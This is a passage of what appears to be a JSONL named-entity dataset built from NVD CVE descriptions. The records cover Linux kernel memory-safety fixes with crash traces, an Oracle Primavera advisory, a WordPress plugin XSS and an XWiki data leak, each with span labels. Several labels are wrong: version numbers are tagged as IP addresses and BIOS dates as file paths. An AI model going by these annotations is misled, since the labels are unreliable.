which can be triggered by the backend. CVE-2022-23042", "spans": {"CVE_ID: CVE-2022-23036": [[1068, 1082]], "CVE_ID: CVE-2022-23037": [[1093, 1107]], "CVE_ID: CVE-2022-23038": [[1119, 1133]], "CVE_ID: CVE-2022-23039": [[1144, 1158]], "CVE_ID: CVE-2022-23040": [[1167, 1181]], "CVE_ID: CVE-2022-23041": [[1581, 1595]], "CVE_ID: CVE-2022-23042": [[1789, 1803]], "SYSTEM: Linux": [[0, 5], [197, 202]], "VULNERABILITY: denial of service": [[423, 440]], "VULNERABILITY: Denial of Service": [[1703, 1720]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23038"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to do sanity check on direct node in truncate_dnode()\n\nsyzbot reports below bug:\n\nBUG: KASAN: slab-use-after-free in f2fs_truncate_data_blocks_range+0x122a/0x14c0 fs/f2fs/file.c:574\nRead of size 4 at addr ffff88802a25c000 by task syz-executor148/5000\n\nCPU: 1 PID: 5000 Comm: syz-executor148 Not tainted 6.4.0-rc7-syzkaller-00041-ge660abd551f1 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/27/2023\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xd9/0x150 lib/dump_stack.c:106\n print_address_description.constprop.0+0x2c/0x3c0 mm/kasan/report.c:351\n print_report mm/kasan/report.c:462 [inline]\n kasan_report+0x11c/0x130 mm/kasan/report.c:572\n f2fs_truncate_data_blocks_range+0x122a/0x14c0 fs/f2fs/file.c:574\n truncate_dnode+0x229/0x2e0 fs/f2fs/node.c:944\n f2fs_truncate_inode_blocks+0x64b/0xde0 fs/f2fs/node.c:1154\n f2fs_do_truncate_blocks+0x4ac/0xf30 fs/f2fs/file.c:721\n f2fs_truncate_blocks+0x7b/0x300 fs/f2fs/file.c:749\n f2fs_truncate.part.0+0x4a5/0x630 fs/f2fs/file.c:799\n f2fs_truncate include/linux/fs.h:825 [inline]\n f2fs_setattr+0x1738/0x2090 fs/f2fs/file.c:1006\n notify_change+0xb2c/0x1180 fs/attr.c:483\n do_truncate+0x143/0x200 fs/open.c:66\n handle_truncate fs/namei.c:3295 [inline]\n do_open fs/namei.c:3640 [inline]\n path_openat+0x2083/0x2750 fs/namei.c:3791\n do_filp_open+0x1ba/0x410 fs/namei.c:3818\n do_sys_openat2+0x16d/0x4c0 fs/open.c:1356\n do_sys_open fs/open.c:1372 [inline]\n __do_sys_creat fs/open.c:1448 [inline]\n __se_sys_creat fs/open.c:1442 [inline]\n __x64_sys_creat+0xcd/0x120 fs/open.c:1442\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x39/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nThe root cause is, inodeA references inodeB via inodeB's ino, once inodeA\nis truncated, it calls truncate_dnode() to truncate data blocks in inodeB's\nnode page, it traverse mapping data from node->i.i_addr[0] to\nnode->i.i_addr[ADDRS_PER_BLOCK() - 1], result in out-of-boundary access.\n\nThis patch fixes to add sanity check on dnode page in truncate_dnode(),\nso that, it can help to avoid triggering such issue, and once it encounters\nsuch issue, it will record newly introduced ERROR_INVALID_NODE_REFERENCE\nerror into superblock, later fsck can detect such issue and try repairing.\n\nAlso, it removes f2fs_truncate_data_blocks() for cleanup due to the\nfunction has only one caller, and uses f2fs_truncate_data_blocks_range()\ninstead.", "spans": {"FILEPATH: /f2fs/file.c": [[244, 256], [840, 852], [1003, 1015], [1055, 1067], [1108, 1120], [1202, 1214]], "FILEPATH: /27/2023": [[506, 514]], "FILEPATH: /kasan/report.c": [[678, 693], [714, 729], [771, 786]], "FILEPATH: /f2fs/node.c": [[887, 899], [946, 958]], "FILEPATH: /linux/fs.h": [[1147, 1158]], "FILEPATH: /x86/entry/common.c": [[1684, 1703], [1745, 1764]], "FILEPATH: dump_stack.c": [[553, 565], [609, 621]], "FILEPATH: attr.c": [[1251, 1257]], "FILEPATH: open.c": [[1290, 1296], [1492, 1498], [1520, 1526], [1560, 1566], [1600, 1606], [1652, 1658]], "FILEPATH: namei.c": [[1320, 1327], [1354, 1361], [1406, 1413], [1448, 1455]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[440, 446], [447, 453], [469, 475], [497, 503]], "VULNERABILITY: use-after-free": [[178, 192]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53846"}}
{"text": "Vulnerability in the Primavera P6 Enterprise Project Portfolio Management product of Oracle Construction and Engineering (component: Project Manager). Supported versions that are affected are 16.2.0.0 - 16.2.19.3, 17.12.0.0 - 17.12.17.0, 18.8.0.0 - 18.8.18.0, 19.12.1.0 - 19.12.3.0 and 20.1.0.0 - 20.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Primavera P6 Enterprise Project Portfolio Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Primavera P6 Enterprise Project Portfolio Management, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Primavera P6 Enterprise Project Portfolio Management accessible data as well as unauthorized read access to a subset of Primavera P6 Enterprise Project Portfolio Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Primavera P6 Enterprise Project Portfolio Management. CVSS 3.0 Base Score 6.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L).", "spans": {"IP_ADDRESS: 16.2.0.0": [[192, 200]], "IP_ADDRESS: 16.2.19.3": [[203, 212]], "IP_ADDRESS: 17.12.0.0": [[214, 223]], "IP_ADDRESS: 17.12.17.0": [[226, 236]], "IP_ADDRESS: 18.8.0.0": [[238, 246]], "IP_ADDRESS: 18.8.18.0": [[249, 258]], "IP_ADDRESS: 19.12.1.0": [[260, 269]], "IP_ADDRESS: 19.12.3.0": [[272, 281]], "IP_ADDRESS: 20.1.0.0": [[286, 294]], "IP_ADDRESS: 20.2.0.0": [[297, 305]], "ORGANIZATION: Oracle": [[85, 91]], "VULNERABILITY: denial of service": [[1037, 1054]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2594"}}
{"text": "A stored cross-site scripting (XSS) issue in Envira Gallery Lite before 1.8.3.3 allows remote attackers to inject arbitrary JavaScript/HTML code via a POST /wp-admin/post.php request with the post_title parameter.", "spans": {"IP_ADDRESS: 1.8.3.3": [[72, 79]], "FILEPATH: /wp-admin/post.php": [[156, 174]], "VULNERABILITY: cross-site scripting": [[9, 29]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35582"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: CPPC: Make rmw_lock a raw_spin_lock\n\nThe following BUG was triggered:\n\n=============================\n[ BUG: Invalid wait context ]\n6.12.0-rc2-XXX #406 Not tainted\n-----------------------------\nkworker/1:1/62 is trying to lock:\nffffff8801593030 (&cpc_ptr->rmw_lock){+.+.}-{3:3}, at: cpc_write+0xcc/0x370\nother info that might help us debug this:\ncontext-{5:5}\n2 locks held by kworker/1:1/62:\n  #0: ffffff897ef5ec98 (&rq->__lock){-.-.}-{2:2}, at: raw_spin_rq_lock_nested+0x2c/0x50\n  #1: ffffff880154e238 (&sg_policy->update_lock){....}-{2:2}, at: sugov_update_shared+0x3c/0x280\nstack backtrace:\nCPU: 1 UID: 0 PID: 62 Comm: kworker/1:1 Not tainted 6.12.0-rc2-g9654bd3e8806 #406\nWorkqueue:  0x0 (events)\nCall trace:\n  dump_backtrace+0xa4/0x130\n  show_stack+0x20/0x38\n  dump_stack_lvl+0x90/0xd0\n  dump_stack+0x18/0x28\n  __lock_acquire+0x480/0x1ad8\n  lock_acquire+0x114/0x310\n  _raw_spin_lock+0x50/0x70\n  cpc_write+0xcc/0x370\n  cppc_set_perf+0xa0/0x3a8\n  cppc_cpufreq_fast_switch+0x40/0xc0\n  cpufreq_driver_fast_switch+0x4c/0x218\n  sugov_update_shared+0x234/0x280\n  update_load_avg+0x6ec/0x7b8\n  dequeue_entities+0x108/0x830\n  dequeue_task_fair+0x58/0x408\n  __schedule+0x4f0/0x1070\n  schedule+0x54/0x130\n  worker_thread+0xc0/0x2e8\n  kthread+0x130/0x148\n  ret_from_fork+0x10/0x20\n\nsugov_update_shared() locks a raw_spinlock while cpc_write() locks a\nspinlock.\n\nTo have a correct wait-type order, update rmw_lock to a raw spinlock and\nensure that interrupts will be disabled on the CPU holding it.\n\n[ rjw: Changelog edits ]", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50249"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmemstick: rtsx_usb_ms: Fix slab-use-after-free in rtsx_usb_ms_drv_remove\n\nThis fixes the following crash:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in rtsx_usb_ms_poll_card+0x159/0x200 [rtsx_usb_ms]\nRead of size 8 at addr ffff888136335380 by task kworker/6:0/140241\n\nCPU: 6 UID: 0 PID: 140241 Comm: kworker/6:0 Kdump: loaded Tainted: G            E      6.14.0-rc6+ #1\nTainted: [E]=UNSIGNED_MODULE\nHardware name: LENOVO 30FNA1V7CW/1057, BIOS S0EKT54A 07/01/2024\nWorkqueue: events rtsx_usb_ms_poll_card [rtsx_usb_ms]\nCall Trace:\n <TASK>\n dump_stack_lvl+0x51/0x70\n print_address_description.constprop.0+0x27/0x320\n ? rtsx_usb_ms_poll_card+0x159/0x200 [rtsx_usb_ms]\n print_report+0x3e/0x70\n kasan_report+0xab/0xe0\n ? rtsx_usb_ms_poll_card+0x159/0x200 [rtsx_usb_ms]\n rtsx_usb_ms_poll_card+0x159/0x200 [rtsx_usb_ms]\n ? __pfx_rtsx_usb_ms_poll_card+0x10/0x10 [rtsx_usb_ms]\n ? __pfx___schedule+0x10/0x10\n ? kick_pool+0x3b/0x270\n process_one_work+0x357/0x660\n worker_thread+0x390/0x4c0\n ? __pfx_worker_thread+0x10/0x10\n kthread+0x190/0x1d0\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x2d/0x50\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1a/0x30\n </TASK>\n\nAllocated by task 161446:\n kasan_save_stack+0x20/0x40\n kasan_save_track+0x10/0x30\n __kasan_kmalloc+0x7b/0x90\n __kmalloc_noprof+0x1a7/0x470\n memstick_alloc_host+0x1f/0xe0 [memstick]\n rtsx_usb_ms_drv_probe+0x47/0x320 [rtsx_usb_ms]\n platform_probe+0x60/0xe0\n call_driver_probe+0x35/0x120\n really_probe+0x123/0x410\n __driver_probe_device+0xc7/0x1e0\n driver_probe_device+0x49/0xf0\n __device_attach_driver+0xc6/0x160\n bus_for_each_drv+0xe4/0x160\n __device_attach+0x13a/0x2b0\n bus_probe_device+0xbd/0xd0\n device_add+0x4a5/0x760\n platform_device_add+0x189/0x370\n mfd_add_device+0x587/0x5e0\n mfd_add_devices+0xb1/0x130\n rtsx_usb_probe+0x28e/0x2e0 [rtsx_usb]\n usb_probe_interface+0x15c/0x460\n call_driver_probe+0x35/0x120\n really_probe+0x123/0x410\n __driver_probe_device+0xc7/0x1e0\n driver_probe_device+0x49/0xf0\n __device_attach_driver+0xc6/0x160\n bus_for_each_drv+0xe4/0x160\n __device_attach+0x13a/0x2b0\n rebind_marked_interfaces.isra.0+0xcc/0x110\n usb_reset_device+0x352/0x410\n usbdev_do_ioctl+0xe5c/0x1860\n usbdev_ioctl+0xa/0x20\n __x64_sys_ioctl+0xc5/0xf0\n do_syscall_64+0x59/0x170\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFreed by task 161506:\n kasan_save_stack+0x20/0x40\n kasan_save_track+0x10/0x30\n kasan_save_free_info+0x36/0x60\n __kasan_slab_free+0x34/0x50\n kfree+0x1fd/0x3b0\n device_release+0x56/0xf0\n kobject_cleanup+0x73/0x1c0\n rtsx_usb_ms_drv_remove+0x13d/0x220 [rtsx_usb_ms]\n platform_remove+0x2f/0x50\n device_release_driver_internal+0x24b/0x2e0\n bus_remove_device+0x124/0x1d0\n device_del+0x239/0x530\n platform_device_del.part.0+0x19/0xe0\n platform_device_unregister+0x1c/0x40\n mfd_remove_devices_fn+0x167/0x170\n device_for_each_child_reverse+0xc9/0x130\n mfd_remove_devices+0x6e/0xa0\n rtsx_usb_disconnect+0x2e/0xd0 [rtsx_usb]\n usb_unbind_interface+0xf3/0x3f0\n device_release_driver_internal+0x24b/0x2e0\n proc_disconnect_claim+0x13d/0x220\n usbdev_do_ioctl+0xb5e/0x1860\n usbdev_ioctl+0xa/0x20\n __x64_sys_ioctl+0xc5/0xf0\n do_syscall_64+0x59/0x170\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nLast potentially related work creation:\n kasan_save_stack+0x20/0x40\n kasan_record_aux_stack+0x85/0x90\n insert_work+0x29/0x100\n __queue_work+0x34a/0x540\n call_timer_fn+0x2a/0x160\n expire_timers+0x5f/0x1f0\n __run_timer_base.part.0+0x1b6/0x1e0\n run_timer_softirq+0x8b/0xe0\n handle_softirqs+0xf9/0x360\n __irq_exit_rcu+0x114/0x130\n sysvec_apic_timer_interrupt+0x72/0x90\n asm_sysvec_apic_timer_interrupt+0x16/0x20\n\nSecond to last potentially related work creation:\n kasan_save_stack+0x20/0x40\n kasan_record_aux_stack+0x85/0x90\n insert_work+0x29/0x100\n __queue_work+0x34a/0x540\n call_timer_fn+0x2a/0x160\n expire_timers+0x5f/0x1f0\n __run_timer_base.part.0+0x1b6/0x1e0\n run_timer_softirq+0x8b/0xe0\n handle_softirqs+0xf9/0x\n---truncated---", "spans": {"FILEPATH: /01/2024": [[580, 588]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[101, 115], [260, 274]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22020"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet_diag: fix kernel-infoleak for UDP sockets\n\nKMSAN reported a kernel-infoleak [1], that can exploited\nby unpriv users.\n\nAfter analysis it turned out UDP was not initializing\nr->idiag_expires. Other users of inet_sk_diag_fill()\nmight make the same mistake in the future, so fix this\nin inet_sk_diag_fill().\n\n[1]\nBUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:121 [inline]\nBUG: KMSAN: kernel-infoleak in copyout lib/iov_iter.c:156 [inline]\nBUG: KMSAN: kernel-infoleak in _copy_to_iter+0x69d/0x25c0 lib/iov_iter.c:670\n instrument_copy_to_user include/linux/instrumented.h:121 [inline]\n copyout lib/iov_iter.c:156 [inline]\n _copy_to_iter+0x69d/0x25c0 lib/iov_iter.c:670\n copy_to_iter include/linux/uio.h:155 [inline]\n simple_copy_to_iter+0xf3/0x140 net/core/datagram.c:519\n __skb_datagram_iter+0x2cb/0x1280 net/core/datagram.c:425\n skb_copy_datagram_iter+0xdc/0x270 net/core/datagram.c:533\n skb_copy_datagram_msg include/linux/skbuff.h:3657 [inline]\n netlink_recvmsg+0x660/0x1c60 net/netlink/af_netlink.c:1974\n sock_recvmsg_nosec net/socket.c:944 [inline]\n sock_recvmsg net/socket.c:962 [inline]\n sock_read_iter+0x5a9/0x630 net/socket.c:1035\n call_read_iter include/linux/fs.h:2156 [inline]\n new_sync_read fs/read_write.c:400 [inline]\n vfs_read+0x1631/0x1980 fs/read_write.c:481\n ksys_read+0x28c/0x520 fs/read_write.c:619\n __do_sys_read fs/read_write.c:629 [inline]\n __se_sys_read fs/read_write.c:627 [inline]\n __x64_sys_read+0xdb/0x120 fs/read_write.c:627\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x54/0xd0 arch/x86/entry/common.c:82\n entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nUninit was created at:\n slab_post_alloc_hook mm/slab.h:524 [inline]\n slab_alloc_node mm/slub.c:3251 [inline]\n __kmalloc_node_track_caller+0xe0c/0x1510 mm/slub.c:4974\n kmalloc_reserve net/core/skbuff.c:354 [inline]\n __alloc_skb+0x545/0xf90 net/core/skbuff.c:426\n alloc_skb include/linux/skbuff.h:1126 [inline]\n netlink_dump+0x3d5/0x16a0 net/netlink/af_netlink.c:2245\n __netlink_dump_start+0xd1c/0xee0 net/netlink/af_netlink.c:2370\n netlink_dump_start include/linux/netlink.h:254 [inline]\n inet_diag_handler_cmd+0x2e7/0x400 net/ipv4/inet_diag.c:1343\n sock_diag_rcv_msg+0x24a/0x620\n netlink_rcv_skb+0x447/0x800 net/netlink/af_netlink.c:2491\n sock_diag_rcv+0x63/0x80 net/core/sock_diag.c:276\n netlink_unicast_kernel net/netlink/af_netlink.c:1319 [inline]\n netlink_unicast+0x1095/0x1360 net/netlink/af_netlink.c:1345\n netlink_sendmsg+0x16f3/0x1870 net/netlink/af_netlink.c:1916\n sock_sendmsg_nosec net/socket.c:704 [inline]\n sock_sendmsg net/socket.c:724 [inline]\n sock_write_iter+0x594/0x690 net/socket.c:1057\n do_iter_readv_writev+0xa7f/0xc70\n do_iter_write+0x52c/0x1500 fs/read_write.c:851\n vfs_writev fs/read_write.c:924 [inline]\n do_writev+0x63f/0xe30 fs/read_write.c:967\n __do_sys_writev fs/read_write.c:1040 [inline]\n __se_sys_writev fs/read_write.c:1037 [inline]\n __x64_sys_writev+0xe5/0x120 fs/read_write.c:1037\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x54/0xd0 arch/x86/entry/common.c:82\n entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nBytes 68-71 of 312 are uninitialized\nMemory access of size 312 starts at ffff88812ab54000\nData copied to user address 0000000020001440\n\nCPU: 1 PID: 6365 Comm: syz-executor801 Not tainted 5.16.0-rc3-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011", "spans": {"FILEPATH: /linux/instrumented.h": [[445, 466], [656, 677]], "FILEPATH: /linux/uio.h": [[796, 808]], "FILEPATH: /core/datagram.c": [[857, 873], [915, 931], [974, 990]], "FILEPATH: /linux/skbuff.h": [[1025, 1040], [1988, 2003]], "FILEPATH: /netlink/af_netlink.c": [[1088, 1109], [2048, 2069], [2112, 2133], [2320, 2341], [2424, 2445], [2494, 2515], [2555, 2576]], "FILEPATH: /linux/fs.h": [[1270, 1281]], "FILEPATH: /x86/entry/common.c": [[1582, 1601], [1643, 1662], [3045, 3064], [3106, 3125]], "FILEPATH: /core/skbuff.c": [[1895, 1909], [1951, 1965]], "FILEPATH: /linux/netlink.h": [[2166, 2182]], "FILEPATH: /ipv4/inet_diag.c": [[2234, 2251]], "FILEPATH: /core/sock_diag.c": [[2375, 2392]], "FILEPATH: /01/2011": [[3464, 3472]], "FILEPATH: iov_iter.c": [[523, 533], [609, 619], [704, 714], [760, 770]], "FILEPATH: socket.c": [[1139, 1147], [1179, 1187], [1233, 1241], [2606, 2614], [2646, 2654], [2701, 2709]], "FILEPATH: read_write.c": [[1314, 1326], [1367, 1379], [1410, 1422], [1445, 1457], [1489, 1501], [1545, 1557], [2780, 2792], [2812, 2824], [2864, 2876], [2901, 2913], [2948, 2960], [3007, 3019]], "FILEPATH: slab.h": [[1757, 1763]], "FILEPATH: slub.c": [[1797, 1803], [1863, 1869]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[3398, 3404], [3405, 3411], [3427, 3433], [3455, 3461]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47597"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: teql: Fix double-free in teql_master_xmit\n\nWhenever a TEQL devices has a lockless Qdisc as root, qdisc_reset should\nbe called using the seq_lock to avoid racing with the datapath. Failure\nto do so may cause crashes like the following:\n\n[  238.028993][  T318] BUG: KASAN: double-free in skb_release_data (net/core/skbuff.c:1139)\n[  238.029328][  T318] Free of addr ffff88810c67ec00 by task poc_teql_uaf_ke/318\n[  238.029749][  T318]\n[  238.029900][  T318] CPU: 3 UID: 0 PID: 318 Comm: poc_teql_ke Not tainted 7.0.0-rc3-00149-ge5b31d988a41 #704 PREEMPT(full)\n[  238.029906][  T318] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011\n[  238.029910][  T318] Call Trace:\n[  238.029913][  T318]  <TASK>\n[  238.029916][  T318]  dump_stack_lvl (lib/dump_stack.c:122)\n[  238.029928][  T318]  print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)\n[  238.029940][  T318]  ? skb_release_data (net/core/skbuff.c:1139)\n[  238.029944][  T318]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n...\n[  238.029957][  T318]  ? skb_release_data (net/core/skbuff.c:1139)\n[  238.029969][  T318]  kasan_report_invalid_free (mm/kasan/report.c:221 mm/kasan/report.c:563)\n[  238.029979][  T318]  ? skb_release_data (net/core/skbuff.c:1139)\n[  238.029989][  T318]  check_slab_allocation (mm/kasan/common.c:231)\n[  238.029995][  T318]  kmem_cache_free (mm/slub.c:2637 (discriminator 1) mm/slub.c:6168 (discriminator 1) mm/slub.c:6298 (discriminator 1))\n[  238.030004][  T318]  skb_release_data (net/core/skbuff.c:1139)\n...\n[  238.030025][  T318]  sk_skb_reason_drop (net/core/skbuff.c:1256)\n[  238.030032][  T318]  pfifo_fast_reset (./include/linux/ptr_ring.h:171 ./include/linux/ptr_ring.h:309 ./include/linux/skb_array.h:98 net/sched/sch_generic.c:827)\n[  238.030039][  T318]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n...\n[  238.030054][  T318]  qdisc_reset (net/sched/sch_generic.c:1034)\n[  238.030062][  T318]  teql_destroy (./include/linux/spinlock.h:395 net/sched/sch_teql.c:157)\n[  238.030071][  T318]  __qdisc_destroy (./include/net/pkt_sched.h:328 net/sched/sch_generic.c:1077)\n[  238.030077][  T318]  qdisc_graft (net/sched/sch_api.c:1062 net/sched/sch_api.c:1053 net/sched/sch_api.c:1159)\n[  238.030089][  T318]  ? __pfx_qdisc_graft (net/sched/sch_api.c:1091)\n[  238.030095][  T318]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[  238.030102][  T318]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[  238.030106][  T318]  ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221)\n[  238.030114][  T318]  tc_get_qdisc (net/sched/sch_api.c:1529 net/sched/sch_api.c:1556)\n...\n[  238.072958][  T318] Allocated by task 303 on cpu 5 at 238.026275s:\n[  238.073392][  T318]  kasan_save_stack (mm/kasan/common.c:58)\n[  238.073884][  T318]  kasan_save_track (mm/kasan/common.c:64 (discriminator 5) mm/kasan/common.c:79 (discriminator 5))\n[  238.074230][  T318]  __kasan_slab_alloc (mm/kasan/common.c:369)\n[  238.074578][  T318]  kmem_cache_alloc_node_noprof (./include/linux/kasan.h:253 mm/slub.c:4542 mm/slub.c:4869 mm/slub.c:4921)\n[  238.076091][  T318]  kmalloc_reserve (net/core/skbuff.c:616 (discriminator 107))\n[  238.076450][  T318]  __alloc_skb (net/core/skbuff.c:713)\n[  238.076834][  T318]  alloc_skb_with_frags (./include/linux/skbuff.h:1383 net/core/skbuff.c:6763)\n[  238.077178][  T318]  sock_alloc_send_pskb (net/core/sock.c:2997)\n[  238.077520][  T318]  packet_sendmsg (net/packet/af_packet.c:2926 net/packet/af_packet.c:3019 net/packet/af_packet.c:3108)\n[  238.081469][  T318]\n[  238.081870][  T318] Freed by task 299 on cpu 1 at 238.028496s:\n[  238.082761][  T318]  kasan_save_stack (mm/kasan/common.c:58)\n[  238.083481][  T318]  kasan_save_track (mm/kasan/common.c:64 (discriminator 5) mm/kasan/common.c:79 (discriminator 5))\n[  238.085348][  T318]  kasan_save_free_info (mm/kasan/generic.c:587 (discriminator 1))\n[  238.085900][  T318]  __kasan_slab_free (mm/\n---truncated---", "spans": {"FILEPATH: /core/skbuff.c": [[387, 401], [968, 982], [1121, 1135], [1285, 1299], [1562, 1576], [1634, 1648], [3181, 3195], [3261, 3275], [3360, 3374]], "FILEPATH: /01/2011": [[701, 709]], "FILEPATH: /kasan/report.c": [[878, 893], [900, 915], [1195, 1210], [1217, 1232]], "FILEPATH: /x86/lib/retpoline.S": [[1044, 1064], [1874, 1894], [2406, 2426], [2487, 2507], [2568, 2588]], "FILEPATH: /kasan/common.c": [[1355, 1370], [2801, 2816], [2865, 2880], [2904, 2919], [2988, 3003], [3707, 3722], [3771, 3786], [3810, 3825]], "FILEPATH: /include/linux/ptr_ring.h": [[1698, 1723], [1729, 1754]], "FILEPATH: /include/linux/skb_array.h": [[1760, 1786]], "FILEPATH: /sched/sch_generic.c": [[1793, 1813], [1944, 1964], [2140, 2160]], "FILEPATH: /include/linux/spinlock.h": [[2010, 2035]], "FILEPATH: /sched/sch_teql.c": [[2043, 2060]], "FILEPATH: /include/net/pkt_sched.h": [[2108, 2132]], "FILEPATH: /sched/sch_api.c": [[2207, 2223], [2232, 2248], [2257, 2273], [2328, 2344], [2635, 2651], [2660, 2676]], "FILEPATH: /include/linux/kasan.h": [[3064, 3086]], "FILEPATH: /include/linux/skbuff.h": [[3328, 3351]], "FILEPATH: /core/sock.c": [[3430, 3442]], "FILEPATH: /packet/af_packet.c": [[3492, 3511], [3520, 3539], [3548, 3567]], "FILEPATH: /kasan/generic.c": [[3896, 3912]], "FILEPATH: dump_stack.c": [[820, 832]], "FILEPATH: slub.c": [[1420, 1426], [1453, 1459], [1486, 1492], [3094, 3100], [3109, 3115], [3124, 3130]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23449"}}
{"text": "XWiki Platform Web Templates are templates for XWiki Platform, a generic wiki platform. Through the suggestion feature, string and list properties of objects the user shouldn't have access to can be accessed in versions prior to 13.10.4 and 14.2. This includes private personal information like email addresses and salted password hashes of registered users but also other information stored in properties of objects. Sensitive configuration fields like passwords for LDAP or SMTP servers could be accessed. By exploiting an additional vulnerability, this issue can even be exploited on private wikis at least for string properties. The issue is patched in version 13.10.4 and 14.2. Password properties are no longer displayed and rights are checked for other properties. A workaround is available. The template file `suggest.vm` can be replaced by a patched version without upgrading or restarting XWiki unless it has been overridden, in which case the overridden template should be patched, too. This might need adjustments for older versions, though.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36091"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nACPI: tables: FPDT: Don't call acpi_os_map_memory() on invalid phys address\n\nOn a Packard Bell Dot SC (Intel Atom N2600 model) there is a FPDT table\nwhich contains invalid physical addresses, with high bits set which fall\noutside the range of the CPU-s supported physical address range.\n\nCalling acpi_os_map_memory() on such an invalid phys address leads to\nthe below WARN_ON in ioremap triggering resulting in an oops/stacktrace.\n\nAdd code to verify the physical address before calling acpi_os_map_memory()\nto fix / avoid the oops.\n\n[    1.226900] ioremap: invalid physical address 3001000000000000\n[    1.226949] ------------[ cut here ]------------\n[    1.226962] WARNING: CPU: 1 PID: 1 at arch/x86/mm/ioremap.c:200 __ioremap_caller.cold+0x43/0x5f\n[    1.226996] Modules linked in:\n[    1.227016] CPU: 1 PID: 1 Comm: swapper/0 Not tainted 6.0.0-rc3+ #490\n[    1.227029] Hardware name: Packard Bell dot s/SJE01_CT, BIOS V1.10 07/23/2013\n[    1.227038] RIP: 0010:__ioremap_caller.cold+0x43/0x5f\n[    1.227054] Code: 96 00 00 e9 f8 af 24 ff 89 c6 48 c7 c7 d8 0c 84 99 e8 6a 96 00 00 e9 76 af 24 ff 48 89 fe 48 c7 c7 a8 0c 84 99 e8 56 96 00 00 <0f> 0b e9 60 af 24 ff 48 8b 34 24 48 c7 c7 40 0d 84 99 e8 3f 96 00\n[    1.227067] RSP: 0000:ffffb18c40033d60 EFLAGS: 00010286\n[    1.227084] RAX: 0000000000000032 RBX: 3001000000000000 RCX: 0000000000000000\n[    1.227095] RDX: 0000000000000001 RSI: 00000000ffffdfff RDI: 00000000ffffffff\n[    1.227105] RBP: 3001000000000000 R08: 0000000000000000 R09: ffffb18c40033c18\n[    1.227115] R10: 0000000000000003 R11: ffffffff99d62fe8 R12: 0000000000000008\n[    1.227124] R13: 0003001000000000 R14: 0000000000001000 R15: 3001000000000000\n[    1.227135] FS:  0000000000000000(0000) GS:ffff913a3c080000(0000) knlGS:0000000000000000\n[    1.227146] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[    1.227156] CR2: 0000000000000000 CR3: 0000000018c26000 CR4: 00000000000006e0\n[    1.227167] Call Trace:\n[    1.227176]  <TASK>\n[    1.227185]  ? acpi_os_map_iomem+0x1c9/0x1e0\n[    1.227215]  ? kmem_cache_alloc_trace+0x187/0x370\n[    1.227254]  acpi_os_map_iomem+0x1c9/0x1e0\n[    1.227288]  acpi_init_fpdt+0xa8/0x253\n[    1.227308]  ? acpi_debugfs_init+0x1f/0x1f\n[    1.227339]  do_one_initcall+0x5a/0x300\n[    1.227406]  ? rcu_read_lock_sched_held+0x3f/0x80\n[    1.227442]  kernel_init_freeable+0x28b/0x2cc\n[    1.227512]  ? rest_init+0x170/0x170\n[    1.227538]  kernel_init+0x16/0x140\n[    1.227552]  ret_from_fork+0x1f/0x30\n[    1.227639]  </TASK>\n[    1.227647] irq event stamp: 186819\n[    1.227656] hardirqs last  enabled at (186825): [<ffffffff98184a6e>] __up_console_sem+0x5e/0x70\n[    1.227672] hardirqs last disabled at (186830): [<ffffffff98184a53>] __up_console_sem+0x43/0x70\n[    1.227686] softirqs last  enabled at (186576): [<ffffffff980fbc9d>] __irq_exit_rcu+0xed/0x160\n[    1.227701] softirqs last disabled at (186569): 